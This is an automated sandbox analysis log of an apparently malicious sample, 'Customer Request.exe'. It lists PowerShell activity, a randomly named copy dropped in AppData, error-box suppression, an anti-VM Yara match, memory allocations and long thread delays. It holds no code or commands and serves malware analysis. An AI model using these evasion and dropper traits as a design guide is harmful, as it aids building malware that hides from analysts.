Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: gCFuOglEso.exe PID: 4500, type: MEMORYSTR

Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 1010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 2A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 4A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 8E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 9E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: A090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: B090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: B6E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: C6E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: D6E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 12C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 3080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 9A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: AA50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: 9A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: C080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Memory allocated: D080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: B10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 2520000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 2430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 83C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 93C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 95C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: A5C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: ABF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: BBF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 2960000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 2A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 4A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 9520000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: A520000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: A750000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 9F20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Memory allocated: 8620000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239843	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239731	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239624	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239515	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239406	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239269	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 239140	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238996	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238848	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238718	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238437	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 238031	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237484	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237371	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237218	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 237062	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599451	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597736	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597361	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597167	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 597041	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596422	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Thread delayed: delay time: 594485	Jump to behavior
